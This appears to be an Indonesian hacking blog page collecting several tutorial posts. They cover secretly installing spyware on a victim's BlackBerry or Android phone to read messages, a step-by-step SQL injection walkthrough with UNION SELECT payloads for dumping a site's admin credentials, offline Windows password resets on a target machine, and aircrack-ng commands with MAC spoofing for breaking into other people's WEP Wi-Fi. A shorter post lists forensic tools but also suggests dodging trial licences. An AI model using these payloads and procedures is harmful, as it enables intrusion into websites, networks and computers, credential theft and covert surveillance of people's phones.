Showing posts with label HACKING. Show all posts
Showing posts with label HACKING. Show all posts

01 May 2012

Sadap HP Blackberry dan Android

Sebelumnya Cyber4rt sudah berbagi cara untuk menyadap SMS dari HP orang lain ke HP kamu sendiri. Dan sekarang, saya akan berbagi cara untuk sadap BBM untuk kamu para pengguna BB. Ini khusus untuk BB asli bukan BB cina punya. Ok, langsung saja kamu perhatikan langkah-langkah berikut ini.

1. Siapkan BB korban untuk dilakukan instalasi aplikasi sadap BBM

2. Silahkan kamu login ke situs DEREX.COM, silahkan kamu daftar dengan cara mengisi nama, email, password, pilih Message Plan Dexrex Free.

3. Setelah itu kamu akan mendapat 2 pilihan untuk memilih. Lihat pada gambar.

                                         

4. Jika kamu pengguna BB, maka pilih BLACKBERRY dan jika Android, kamu pilih ANDROID. Setelah itu akan ada verifikasi email dan kamu akan diberi link untuk download aplikasinya. Lihat pada gambar.
                                        

5. Selanjutnya, pada halaman tersebut kamu akan mendapatkan instruksi cara penginstalan aplikasi tersebut pada gadget kamu.

6. Setelah instalasi selesai, maka aplikasi sudah dapat berjalan di BB korban dan jika di close aplikasi tetap berjalan dan melakukan connect server automatis.

Perhatian..! Cara ini digunakan untuk hal yang penting saja.

OK, Selamat mencoba.




Read More..

17 April 2012

Tutorial SQL Injection Step by Step [ Dummies ]

Sebelum men daface sebuah situs, kita bisa menggunakan "dork Sql Injection" dengan bantuan om kita semua ( om google )
Code:



inurl:"product.php?id=" & intext:"You have an error in your SQL syntax"

trus yg saya dapat :
Code:

http://www.victim.com/detailproduct.php?id=75

untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url
Code:

http://www.victim.com/detailproduct.php?id=75'


ternyata ada bug-nya, muncul pesan error :
Code:


You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1


Untuk mencari column gunakan perintah [ order by ]
Code:

http://www.victim.com/detailproduct.php?id=75 order by 1--

dimulai dengan angka 1, selanjutnya 2, dst sampai muncul pesan error

pada target kita kali ini, error muncul pada angka 19
Code:

http://www.victim.com/detailproduct.php?id=75 order by 19--

muncul pesan error:
Unknown column '19' in 'order clause'

jadi angka yang diambil adalah 19-1 = 18 (jumlah column adalah 18)

Selanjutnya kita akan mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah "union all select"
Code:

http://www.victim.com/detailproduct.php?id=-75 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 75

akan muncul "angka ajaib" : 3, 11 dan 18
kita pilih salah satunya saja, misal 3

trus kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 3
Code:

http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--


muncul tulisan :
5.0.90-community

wewww...ternyata versi 5, klo versi 4 sy angkat tangan.....
nb : lebih mudah versi 5, karena sebentar kita akan mencari informasi table dan column dari information_schema, dimana information_schema tidak terdapat pada database MySql versi 4. Jadi kalau targetnya mempunyai database MySQL versi 4, yang kita lakukan yaitu menebak-nebak tablenya... lol

Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka ajaib
dan "+from+information_schema.tables+where+table_schema=database()--" di belakang angka 18
Code:

http://www.victim.com/detailproduct.php?id=-75 union all select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where table_schema=database()--

akan muncul nama-nama table :
Code:

login,tbanner,tcatprod,tproduct,tset

Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password,
kali ini kita ambil table "login"
sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini :
http://cyber4rt.com/~converter
ketik : login
pilih ASCII to Hex
hasilnya : 6c6f67696e

Perintah selanjutnya adalah "group_concat(column_name)" pada angka ajaib 3 dan "+from+information_schema.columns+where+table_name=0xHEXA--" di akhir URL

ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e
tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert
ke hexa
Code:

http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+info
rmation_schema.columns+where+table_name=0x6c6f67696e--

muncul column : user,pass

untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 3 dan +from+NAMATABLE-- pada akhir URL

ganti column 1 dengan "user" dan column2 dengan "pass"
0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa
NAMA TABLE diganti dengan "login" untuk mengambil informasi dari table yang bernama "login"
Code:

http://www.victim.com/detailproduct.php?id=-75 union all select
1,2,group_concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+login--


hasil : admin:admin
jadi,
user = admin
password = admin
nb : Jika ada yang mendapatkan password yang berupa MD5 seperti "21232f297a57a5a743894a0e4a801fc3" atau yang lainnya, silahkan anda hash di sinihttp://hashchecker.de/find.html

Selesai ??? belum.... :p
Langkah selanjutnya adalah mencari Admin Page target kita. Anda bisa menggunakan "adminfinder" atau "scanlink.py"
download di mari : http://www.ziddu.com/download/10386415/InstantSQLI.rar.html

Klo ada yg dapat admin pagenya... tolong jangan di deface, ini hanya untuk pembelajaran saja.
Read More..

10 March 2012

5 Top Alat Yang Sering Dipakai Oleh Hacker




Halo teman, kali ini saya hari ini akan berbagi dengan Anda atas 5 alat hack hacker untuk Selidiki atau Foresnic sistem komputer atau PC. Apakah Anda pernah merasa bahwa sistem anda terganggu atau berbagi? Apakah Anda pikir sistem anda memiliki software yang tidak biasa atau paket yang diinstal di sana yang mengirim data rahasia atau rahasia pribadi untuk Hackers lain? Selalu ketakutan untuk menguji setiap hack alat yang mengandung virus atau malware atau tidak? Ingin untuk menyelidiki jaringan Anda yang aplikasi yang sedang mengirim data ke siapa atau mana?
Jika ada pertanyaan cocok Anda kemudian posting ini adalah untuk Anda. Tetapi jika saya berbicara dengan hati alat-alat ini wajib bagi setiap pengguna noraml dan hacker juga untuk menyelidiki sistem mereka dari boot untuk menutup. Hari ini saya membuat Anda hacker etis nyata seperti saya hari ini akan mengajarkan anda bagaimana untuk menyelidiki sistem anda. Dan bagaimana untuk menyingkirkan antivirus noobish yang hanya ada pada PC Anda hanya mengkonsumsi sumber daya sistem Anda.
Daftar top 5 hack alat bagi para hacker untuk Inverstigate atau Forensik sistem komputer atau PC:
  • Live View
  • Start up Daftar
  • File Open Lihat
  • Wireshark
  • Helix 3 
Kerja bertahap tools diatas:

1. Live View
    Live View adalah sebuah utilitas open source yang membuat mesin virtual sistem yang ada. Live View menciptakan disk virtual keluar dari sistem yang memungkinkan Anda untuk kemudian dengan aman menyelidiki salinan sistem tanpa campur dengan apa-apa diinstal. Jadi Anda dapat dengan mudah menyelidiki sistem anda hampir tanpa mempengaruhi sistem yang asli.
Sekarang restart PC Anda untuk penyelidikan lebih lanjut dan alat untuk digunakan.
Anda dapat mendownload Live View gratis di sini (Klik disini untuk download).

2. Start up Daftar
    Sekarang Anda memiliki salinan virtual dari sistem anda dan sekarang mengapa Anda menunggu mari kita mulai menyelidiki PC. Jadi download Start Up List (klik di sini untuk men-download daftar startup). Ini adalah cara yang bagus untuk memulai investigasi sistem dan menentukan hal-hal yang mungkin berpotensi telah memakai sistem untuk me-restart setiap kali sistem tidak. Ini akan memberi Anda daftar semua program yang menggunakan sistem pada waktu boot. Cara yang bagus untuk menemukan keyloggers dan lainnya alat montitoring remote karena mereka selalu ditambahkan untuk memulai.
Sekarang mengapa saya mengatakan alat ini karena Anda langsung bisa melakukannya dengan menggunakan perintah msconfig. Jawaban yang sederhana seperti pertanyaan, msconfig hanya menampilkan daftar program yang melekat untuk memulai menggunakan kunci registri. Biasanya apa yang terjadi virus melampirkan diri untuk beberapa layanan jendela yang ada sehingga akan menjadi sulit untuk mengidentifikasi contoh-contoh nya. Start up menampilkan daftar semua program tanah kembali juga.

3. File Open Lihat
    Langkah berikutnya dalam menyelidiki komputer Anda adalah untuk menemukan atau menentukan file lain, lain dari biasanya yang terbuka. Di Linux kita bisa langsung melakukannya dengan menggunakan perintah ISOF di terminal tetapi tidak ada perintah yang serupa di windows. Ahhah sekarang apa yang akan Anda lakukan untuk menyelidiki ini .. Jangan khawatir OpenFilesView ada (klik di sini untuk men-download openfileview). Openfilesview adalah sebuah aplikasi Windows yang berisi daftar semua file dan proses yang aktif saat ini - baik lokal dan jaringan berbasis - pada sistem. Sehingga Anda dapat dengan mudah mengidentifikasi mana file yang tidak biasa dibuka atau proses yang tidak biasa sedang berjalan. Sekarang bagaimana membantu, semua keyloggers atau alat administrasi remote selalu memelihara sebuah file sementara yang mereka tulis mereka log atau detail lainnya. Muahhhhhh ... Sekarang tidak ada yang tersembunyi dari Anda. Anda dapat melihat masing-masing dan segala sesuatu dan mengetahui dengan mudah bahwa yang noob virus atau keylogger berjalan pada sistem Anda.

4. Wireshark
    Tambang keluar alat favorit dari 5 alat. Sekarang anda telah meneliti sistem anda dengan menggunakan alat-alat di atas sana, waktu untuk menyelidiki lalu lintas jaringan Anda. Beberapa kali hal itu terjadi, ketika anda menginstal beberapa perangkat lunak Anda meragukan bahwa itu adalah mengirimkan data pribadi Anda atau informasi kepada orang lain. Wireshark adalah alat yang memonitor paket jaringan dan analisis mereka di mana datanya pengiriman. Sekarang bagaimana trojan sangat membantu anda, yang Kebanyakan dan keyloggers mengirim log menggunakan jaringan dan upload ke FTP atau mengirim mereka ke beberapa alamat email. Menggunakan wireshark Anda dapat memantau apa yang mereka mengirim dan bahkan username dan password FTP dan account email yang menjadi pengiriman. Ini adalah faktor yang paling menjanjikan yang membuat untuk mencintai wireshark lebih. Jadi mengapa menunggu download wireshark secara gratis: (Klik di sini untuk men-download Wireshark)
.
5. Helix 3
    Sekarang Anda semua akan berpikir kita sudah melakukan segalanya,
investigasi yang dilakukan ...: D tapi saya Merusak Pikiran. Jadi beberapa hal lagi yang mencolok pikiran saya. Apa yang saya lebih dapat menyelidiki di PC. Setiap tebakan ...
Sial .. saya lupa saya sedang mengajar anda ..
Sekarang bagaimana anda menentukan apa yang virus noob telah berubah di sistem anda, file mana mereka memiliki tanda tangan mereka diedit atau melekat yang mana dari program dan paling penting apa yang mereka telah diedit atau ditambahkan. Hal ini dapat Anda lakukan dengan bantuan Helix 3. Helix 3, versi baru update dari alat forensik live Linux, dapat digunakan untuk memeriksa disk aman untuk melihat apa yang telah akhirnya berubah. Jadi orang sekarang bagaimana berkelas Anda pikir Anda telah menjadi. Tapi maaf untuk memberitahu Anda bahwa bagian pertama dari kehidupan hacker dan guranttee guys i 99,99% tidak tahu alat-alat ini. Ahhh ... Jika mereka tahu tentang alat ini maka mereka pasti tidak tahu cara menggunakan mereka dan lebih penting jika mereka tahu yang juga mungkin mereka tidak pernah menggunakan mereka karena mereka MALAS cukup dan meninggalkan semuanya di antivirus noob.
(Klik di sini untuk men-download helix3) suatu Its 30 orang hari percobaan versi, seperti versi lisensi untuk satu sistem saja dan saya tidak dapat berbagi saya: D. Tetapi saya dapat memberitahu Anda beberapa trik luar biasa untuk menggunakannya sebanyak yang Anda inginkan. Untuk men-download versi evalation lagi dan lagi hanya mendaftar dengan ID email baru dan menghapus versi sebelumnya menggunakan Manajer WinXP yang menghilangkan kunci registri juga.
Read More..

19 November 2011

Crack Password Windows

Crack Password Windows
Hi teman2… apa anda pernah lupa dengan password windows anda? Bagaimanakah anda mencari solusinya? Jangan berkecil hati dan merasa gusar dahulu sebelum anda membaca postingan saya kali ini.

Kebanyakan para pengguna komputer jika lupa dengan password windows selalu mengambil jalan pintas dengan menginstall kembali komputer tersebut, tapi sebenarnya masih banyak cara juga koq untuk menembus password komputer. Caranya cukup mudah juga koq, cukup mencari software crack password windows yang dapat didownload di internet.

Eh..udah dulu basa-basinya ya, mari kita mulai cara2nya. Tapi sebelum itu saya berharap manfaat dari postingan kali ini tidak digunakan untuk merusak komputer orang lain yah. Saya tidak bertanggung jawab atas segala akibat dari kecerobohan anda sendiri. OK, paham

Pengenalan Program yang akan digunakan Program ini berfungsi untuk me(re)set password di segala user yang mempunyai (local) account yang tervalidasi di Windows NT/2k/XP/Vista pada system komputer.

- Anda tidak perlu mengetahui password lama anda apabila ingin di set yang baru.
- Bekerja secara offline, maksudnya, kita hanya menshutdown komputer dan boot dari floppydisk atau CD atau dari sistem lain.
- Akan mendeteksi dan menawarkan untuk membuka account yang terkunci atau menghapusnya.
- Dan juga terdapat fungsi registry editor dan utiliti lainnya yang berhubungan dengan registry yang bekerja dibawah linux/unix, dan bisa digunakan selain mensetting password.
-Mengedit file SAM dimana file tersebut berada di C:\WINDOWS\system32\config (Windows XP) yang merupakan file yang mengenkripsi password login.
----------------------------------------------------------------------------

Versi terbarunya terakhir dirilis tanggal 2 bulan Agustus 2008 dengan beragam tambahan fitur dan update terbaru tentunya.

Download programnya di Website Resmi : http://home.eunet.no/pnordahl/ntpasswd/ dari komputer lain tentunya.

Versi CD :
cd080802.zip (3mb) bootable CD Image (ISO)
----------------------------------------------------------------------------

Burn file ke CD
- Saya anjurkan menggunakan Nero Express.
- Siapkan CD kosong
- Burn file "cd080802.iso" nya dengan memilih Burn Image (ingat, bukan Burn Boot Disk atau Burn Data Disk).
- Bila berhasil diburn, hasil burn pada cd akan berisi file seperti tampak dibawah :

Nah, mari kita mulai langkah selanjutnya

Setelah melalui tahap awal diatas, program tersebut sudah bisa anda gunakan dan saatnya anda melakukan booting dari komputer target melalui CD yang sudah di burn, pilih urutan boot CD-ROM terlebih dahulu, setelah boot akan muncul tampilan startup dengan sistem Linux dibawah ini :


Ket :
Tekan tombol "enter" untuk memulai proses loadingnya, atau tidak ditekan pun juga proses tetap bisa berlangsung secara otomatis.



Ket :
Saya akan menjelaskan bagian-bagian penting yang sudah diberi tanda, gambar diatas (kotak merah yang atas) mengharuskan anda untuk memilih partisi manakah dari salah satu diatas yang berisi installasi windows (boot), lalu pilih nomor partisi yang sesuai dengan pernyataan diatas. Pada contohnya saya pilih "1" dan tekan "enter". Setelah itu (kotak merah yang bawah), program menanyakan dimana letak file direktori "SAM" berada, (dalam kondisi default) alamat otomatis sudah tertera pada gambar diatas (untuk Win XP), tidak perlu mengubahnya, hanya tekan "enter" saja kalau begitu.



Ket:
Setelah menekan "enter" sebelumnya, anda disuguhi oleh beberapa option seperti tampak gambar diatas, dimana tujuan disini hanyalah mereset passwordnya saja, kalau begitu pilih no "1" dan tekan "enter".



Ket:
Kembali program menyuguhkan opsi kedua, tujuannya sudah jelas, no "1" dan tekan tombol "enter”.



Ket :
Nah, program akan melacak seluruh user info beserta keterangan kondisi-kondisnya, tertera nama user "Addel ^_^" dengan kondisi sedang terdisable/lock atau dengan kata lain masih dalam kondisi terpassword, lalu ketik nama user bersangkutan untuk mengubahnya seperti contoh diatas dan tekan "enter".



Ket :
Setelah itu program akan memproses dengan memaparkan kondisi dan situasi yang ada pada user account tersebut, dan disuguhi dengan opsi dimana apakah ingin menghapus total password atau menimpa password lama dengan password baru. Akan lebih dipermudah kita pilih yang no "1" saja dan tekan "enter".



Ket :
SIM SALABIM! Password cleared!
sudah selesaikah tugas kita disini?, tunggu dulu, untuk menyempurnakannya, mari kita tutup program terlebih dahulu dengan mengetik tombol "!" sesuai keterangan gambar diatas dan tekan "enter", karena pada tahap ini settingan baru tersebut belum tersimpan dalam komputer target.



Ket:
tekan tombol "q" untuk quit dan "enter"



Ket:
INGAT! ini merupakan perintah dimana pekerjaan yang sudah dikerjakan sebelumnya ingin di save atau tidak (y atau n) ketik "y" untuk di save.



Ket :
EDIT COMPLETE berarti pekerjaan sudah dibukukan...apakah anda ingin melakukan pengeditan ulang dari tahap pertama sebelumnya (y/n) pilih "n" kalau tidak mau mengedit lagi.



TUGAS SELESAI dan anda bisa login langsung tanpa password dengan hati riang gembira. terlebih dahulu, keluarkan cd bootnya dikarenakan apabila kelupaan saking senangnya bisa-bisa anda masuk lagi ke menu ini. Setelah dikeluarkan, tekan ctrl + alt +
del untuk mengakhirinya. Atau boleh juga pake perintah reboot

Semoga Bermanfaat, dan selamat mencoba…
Read More..

18 November 2011

Cara Hack Wi-Fi atau Wirless Password


Halo way, saya hari ini akan menjelaskan kepada anda cara untuk memecahkan Wifi atau sandi nirkabel hanya dalam 10 sampai 15 menit. Hari ini saya akan menjelaskan Cara Hack atau Crack Wifi Password. Hari hack akan didasarkan pada retak password enkripsi WEP. Jadi orang mengencangkan ikat pinggang Anda untuk baru hack dan mari kita mulai hack wifi. Saya juga memasukkan video di bawah posting. Jadi anda bisa membaca dan menonton ....

LANGKAH UNTUK HACK PASSWORD ATAU WIRELESS WIFI


1. Dapatkan CD Backtrack-Linux. Backtrack Linux Live CD (Linux terbaik tersedia untuk hacker dengan lebih dari 2000 hacking tools built-in).
Download Backtrack Linux Live CD dari sini: http://www.backtrack-linux.org/downloads/

2. SCAN UNTUK MENDAPATKAN KORBAN


Dapatkan korban serangan itu adalah password yang ingin Anda hack atau crack.
Sekarang Masukkan Backtrack Linux CD ke dalam drive CD Anda dan memulainya. Setelah itu klik mulai pada kotak hitam di sudut kiri bawah untuk memuat sebuah "Konsole". Sekarang Anda harus mulai kartu Wifi. Untuk melakukannya ketik:
airmon-ng

Anda akan melihat nama kartu nirkabel Anda. (saya adalah bernama "ath0") Dari sini anda keluar, ganti nama kartu anda dengan "ath0". Sekarang ketik:
airmon-ng stop ath0

kemudian ketik:

ifconfig wifi0 down


kemudian ketik:


macchanger --mac 00:11:22:33:44:55 wifi0


kemudian ketik:

airmon-ng start wifi0

langkah-langkah di atas telah menjelaskan unt memalsukan diri dari dilacak. Pada langkah di atas kita spoofing MAC address kita, ini akan membuat kita tidak dapat ditemukan.

sekarang ketik:

airodump-ng ath0

Semua langkah di atas dalam satu screen shot:



Sekarang Anda akan melihat daftar jaringan nirkabel di Konsole. Beberapa akan memiliki sinyal yang lebih baik dari yang lain dan selalu nya ide yang baik untuk memilih satu yang memiliki kekuatan sinyal yang terbaik selain itu akan memakan waktu yang sangat besar untuk crack atau hack password atau Anda mungkin tidak dapat retak sama sekali.
Setelah Anda melihat daftar jaringan, sekarang pilih jaringan yang ingin Anda hack. Untuk membekukan layar airodump TAHAN tombol CNTRL dan Tekan C.
Sekarang Anda akan melihat sesuatu seperti ini:


3. MEMILIH JARINGAN UNTUK HACKING

Sekarang menemukan jaringan yang ingin Anda hack dan PASTIKAN bahwa ia mengatakan enkripsi untuk jaringan yang WEP. Jika tertulis WPA atau variasi WPA kemudian berpindah ... Anda masih dapat crack WPA dengan mundur dan beberapa alat lainnya tetapi adalah permainan bola seluruh lain dan Anda perlu menguasai WEP pertama.


Setelah Anda memutuskan jaringan, mencatat nomor saluran dan BSSID. BSSID akan terlihat seperti ini -

00:23:69:bb:2d:of


Jumlah Channel akan berada di bawah sebuah heading yang mengatakan "CH".
Seperti ditunjukkan dalam gambar ini:


Sekarang di Konsole jenis jendela yang sama:

airodump-ng -c (channel) -w (file name) --bssid (bssid) ath0


Sekarang di jendela yang sama jenis Konsole: Nama file dapat apa pun yang Anda inginkan. File ini adalah tempat di mana airodump akan menyimpan paket info yang Anda terima untuk kemudian retak. Anda bahkan tidak dimasukkan dalam ekstensi ... hanya memilih kata acak yang akan Anda ingat. Saya biasanya membuat saya "Ben" karena saya selalu bisa mengingatnya. Its hanya karena i love Ben10 .... hhahahahaha: D

Catatan: Jika Anda ingin retak lebih dari satu jaringan dalam sesi yang sama, Anda harus memiliki nama file yang berbeda untuk setiap satu atau itu tidak akan berhasil. Saya biasanya nama mereka sebagai ben1, ben2 dll

Setelah Anda mengetikkan perintah terakhir, layar airodump akan berubah dan mulai menunjukkan komputer Anda paket pertemuan. Anda juga akan melihat pos bertanda "IV" dengan nomor di bawahnya. Ini adalah singkatan untuk "Inisialisasi Vektor" tetapi secara umum semua ini berarti "paket dari info yang berisi karakter dari password." Setelah Anda mendapatkan minimal 5.000 IV ini, Anda dapat mencoba untuk memecahkan password. Aku sudah retak tepat beberapa di 5.000 dan yang lainnya telah mengambil alih 60.000. Ini tergantung pada berapa lama dan sulit mereka membuat password. Lebih sulit adalah paket password semakin Anda akan perlu untuk memecahkannya.

4. Cracking password WEP

Sekarang tinggalkan jendela ini Konsole dan berjalan dan membuka jendela Konsole 2.
Dalam tipe window:

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 ath0

Ini akan mengirimkan beberapa perintah untuk router bahwa pada dasarnya itu adalah untuk mengaitkan komputer Anda meskipun Anda tidak resmi berhubungan dengan password. Jika perintah ini berhasil, Anda akan melihat sekitar 4 baris mencetak teks keluar dengan yang terakhir mengatakan sesuatu yang mirip dengan "Asosiasi :-) Sukses"
Jika ini terjadi, maka baik! Anda hampir ada.

Sekarang ketik:

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 ath0
 

Ini akan menghasilkan sekelompok teks dan kemudian Anda akan melihat baris mana komputer Anda adalah mengumpulkan segudang paket dan menunggu di ARP dan ACK. Jangan khawatir tentang apa artinya ini ... hanya tahu bahwa ini adalah tiket makan Anda. Sekarang Anda hanya duduk dan menunggu. Setelah komputer Anda akhirnya mengumpulkan sebuah permintaan ARP, ia akan mengirim kembali ke router dan mulai menghasilkan ratusan ARP dan ACK per detik. Kadang-kadang ini mulai terjadi dalam hitungan detik ... kadang-kadang Anda harus menunggu hingga beberapa menit. Hanya bersabar. Ketika akhirnya tidak terjadi, beralih kembali ke jendela pertama Konsole anda dan anda akan melihat nomor di bawah IV mulai meningkat pesat. Ini hebat! Ini berarti Anda hampir selesai! Bila jumlah ini mencapai SEDIKITNYA 5.000 maka Anda dapat mulai membobol password anda. Mungkin akan memakan waktu lebih dari ini, tetapi saya selalu memulai sandi saya cracking di 5.000 hanya jika mereka memiliki password yang benar-benar lemah.

Sekarang anda perlu membuka 3 dan jendela Konsole akhir. Hal ini akan berada di tempat kita sebenarnya crack password.
Sekarang ketik:

aircrack-ng -b (bssid) (filename)-01.cap
 

Ingat nama file yang dibuat sebelumnya? Tambang adalah "Ben". Jangan menempatkan spasi di antara itu dan-01.cap sini. Jenis sebagai Anda melihatnya. Jadi bagi saya, saya akan ketik wepkey-01.cap
Setelah Anda melakukan ini, Anda akan melihat api aircrack dan mulai crack password. biasanya Anda harus menunggu lebih seperti 10.000 hingga 20.000 IV sebelum akan retak. Jika hal ini terjadi, aircrack akan menguji apa yang Anda miliki sejauh ini dan kemudian akan mengatakan sesuatu seperti "tidak cukup IV Coba lagi di 10.000.."
JANGAN LAKUKAN APA PUN! Ini akan tetap berjalan ... itu hanya membiarkan Anda tahu bahwa itu ada di jeda sampai lebih IV berkumpul. Setelah Anda melewati tanda 10.000 maka secara otomatis akan menjalankan lagi dan mencoba untuk memecahkannya. Jika ini gagal maka akan mengatakan "tidak cukup IV Coba lagi di 15.000.." dan seterusnya sampai akhirnya mendapatkannya.

Jika Anda melakukan semuanya dengan benar sampai titik ini, sebelum terlalu lama Anda akan memiliki password! sekarang jika password tampak konyol, khawatir dont, itu akan tetap bekerja. beberapa password disimpan dalam format ASCII, dalam hal ini, aircrack akan menunjukkan kepada Anda apa karakter mereka ketik in untuk password mereka. Kadang-kadang, meskipun, password tersebut disimpan dalam format HEX dalam hal komputer akan menampilkan enkripsi HEX dari password. Tidak masalah dengan cara baik, karena Anda dapat mengetik di salah satu dan akan menghubungkan Anda ke jaringan.

Perhatikan, bahwa password akan selalu ditampilkan di aircrack dengan tanda titik setelah setiap 2 karakter. Jadi misalnya jika password adalah "rahasia", akan ditampilkan sebagai: 

se:cr:et


Hal ini jelas akan menjadi format ASCII. Jika itu adalah HEX sandi terenkripsi itu adalah sesuatu seperti "0FKW9427VF" maka akan tetap ditampilkan sebagai:

0F:KW:94:27:VF



Hanya menghilangkan tanda titik dua dari password, boot kembali ke sistem operasi apa pun yang Anda gunakan, mencoba untuk terhubung ke jaringan dan ketik password tanpa titik dua dan presto! Anda berada di!

Ini mungkin tampak seperti banyak berurusan dengan jika Anda belum pernah melakukannya, tapi setelah mencoba beberapa berhasil, Anda akan menjadi sangat cepat dengan itu. Jika saya di dekat sebuah router WEP dienkripsi dengan sinyal yang baik, saya sering bisa memecahkan sandi hanya dalam beberapa menit.

Saya tidak bertanggung jawab atas apa yang Anda lakukan dengan informasi ini. Setiap kegiatan / berbahaya ilegal yang anda lakukan, jatuh sepenuhnya pada Anda karena ... teknis ... ini hanya bagi Anda untuk menguji keamanan jaringan Anda sendiri.


Read More..